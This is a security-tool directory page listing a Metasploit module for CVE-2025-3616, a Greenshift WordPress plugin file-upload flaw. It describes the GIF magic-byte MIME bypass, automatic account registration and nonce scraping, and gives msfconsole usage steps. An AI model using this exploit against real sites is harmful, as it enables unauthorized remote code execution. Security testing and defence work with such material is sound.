Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-3616 — Metasploit module exploiting arbitrary file upload in Greenshift WordPress plugin (CVE-2025-3616) to achieve RCE via MIME spoofing, with auto-registration and nonce extraction. | Kitploit
Tools/GitHubGitHub/b4d-53ct0r/cve-2025-3616
Exploit FrameworksVulnerability AnalysisWeb Application ExploitationPenetration TestingAuthenticationPayload Development
GitHubb4d-53ct0r/cve-2025-3616

CVE-2025-3616

Metasploit module exploiting arbitrary file upload in Greenshift WordPress plugin (CVE-2025-3616) to achieve RCE via MIME spoofing, with auto-registration and nonce extraction.

View Repository
27 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Metasploit Module: Greenshift WordPress Plugin Arbitrary File Upload (CVE-2025-3616)

This repository contains a Metasploit module to exploit CVE-2025-3616, an arbitrary file upload vulnerability in the Greenshift WordPress plugin (versions 11.4 through 11.4.5).

The exploit allows authenticated users (Subscriber+) to upload arbitrary files leading to Remote Code Execution (RCE). It bypasses the plugin's file type validation by spoofing the MIME type using GIF magic bytes (GIF89a;).

Features

  • Authentication Handling: Supports logging in with existing credentials (USERNAME/PASSWORD).
  • Auto-Registration: Includes a REGISTER option to automatically register a new user and exploit the vulnerability using the fresh session cookies (useful if registration is enabled on the target).
  • Nonce Extraction: Automatically scrapes the required wp_rest nonce from the administrative dashboard.
  • Security Bypass: Prepends GIF magic bytes to the PHP payload to bypass verification.
finfo_file()

Installation

  1. Ensure you have Metasploit Framework installed.

  2. Copy wp_greenshift_file_upload.rb to your local modules directory:

    root@kitploit:~
    mkdir -p ~/.msf4/modules/exploits/unix/webapp/
    cp wp_greenshift_file_upload.rb ~/.msf4/modules/exploits/unix/webapp/
    
  3. Start msfconsole and reload modules:

    root@kitploit:~
    msfconsole
    msf6 > reload_all
    

Usage

1. Using Auto-Registration (Recommended)

If user registration is enabled on the target, you don't need credentials.

root@kitploit:~
use exploit/unix/webapp/wp_greenshift_file_upload
set RHOSTS <TARGET_IP>
set LHOST <YOUR_IP>
set REGISTER true
run

2. Using Existing Credentials

If you already have a valid user (Subscriber or higher):

root@kitploit:~
use exploit/unix/webapp/wp_greenshift_file_upload
set RHOSTS <TARGET_IP>
set LHOST <YOUR_IP>
set REGISTER false
set USERNAME <USER>
set PASSWORD <PASS>
run

Options

OptionRequiredDescription
RHOSTSyesThe target address
LHOSTyesThe listen address (your IP)
REGISTERnoSet to true to register a new account automatically (Default: false)
USERNAMEnoWordPress username (required if REGISTER is false)
PASSWORDnoWordPress password (required if REGISTER is false)
EMAILnoEmail for registration (optional, auto-generated if empty)

Disclaimer

This module is for educational purposes and authorized penetration testing only. Usage of this code for attacking targets without prior mutual consent is illegal.

Download Tool